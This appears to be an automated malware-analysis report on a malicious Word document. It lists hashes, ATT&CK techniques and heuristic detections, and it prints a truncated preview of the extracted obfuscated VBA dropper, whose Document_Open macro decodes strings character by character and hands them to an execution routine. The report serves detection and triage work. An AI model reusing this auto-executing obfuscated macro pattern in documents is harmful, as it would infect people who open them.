Office (OLE) malware analysis — malicious · f2f573af0f76fe0f

MALICIOUS

Office (OLE)

1.60 MB Created: 2018-09-05 21:28:00 Authoring application: Microsoft Office Word First seen: 2019-04-18

MD5: a9ec30226c83ba6d7abb8d2011cdae14 SHA-1: faf580608b76a47bcf181ec44bb36d637112d3fa SHA-256: f2f573af0f76fe0f21bbe630a4bb50b1c1836eb24429bfb8c93673276f27e374

264 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject and GetObject calls, indicating malicious intent. The document body presents a lure to enable macros, which is a common tactic for malware droppers. The VBA code appears to deobfuscate and execute a payload, likely downloading a second-stage artifact.

Heuristics 9

ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	50777 bytes
SHA-256: `4e890d2d01823cade431e939e9125dc417f31cbf33d8baf8a5a9efb32befaa60`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 27 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox" Option Explicit Sub Document_Open() On Error Resume Next Dim awr, dGG, yIz As String awr = Module2.aEV(Module3.sME) dGG = Module2.aEV(Module4.hDG) yIz = Module2.aEV(Module5.bWP) Dim BXd As String BXd = Module11.kMl(Module10.nSl(227, 176)) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(69, 38))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(178, 192))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(240, 128))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(246, 152))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(239, 136))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(135, 169))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(29, 91))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(164, 205))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(15, 99))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(227, 176))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(26, 99))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 90))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(7, 106))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(244, 187))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(90, 56))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(117, 31))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(229, 128))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(69, 38))) BXd = Module6.hYw(BXd, Module11.kMl(Module10.nSl(41, 93))) Dim IlH As String IlH = awr Dim xoC As String xoC = "" xoC = hYw(xoC, Module11.kMl(Module10.nSl(87, 20))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(179, 137))) xoC = hYw(xoC, "\") xoC = hYw(xoC, Module11.kMl(Module10.nSl(38, 118))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(227, 140))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(239, 136))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(7, 106))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(121, 61))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(41, 93))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(111, 14))) xoC = hYw(xoC, "\") xoC = hYw(xoC, Module11.kMl(Module10.nSl(244, 187))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(248, 158))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(248, 158))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(69, 38))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(227, 176))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(178, 192))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(120, 14))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(69, 38))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(229, 128))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(135, 169))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(246, 152))) xoC = hYw(xoC, Module11.kMl(Module10.nSl(164, 205))) Module1.ydr xoC, IlH, BXd Dim Xjc As String Xjc = "" Xjc = hYw(Xjc, Module11.kMl(Module10.nS ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.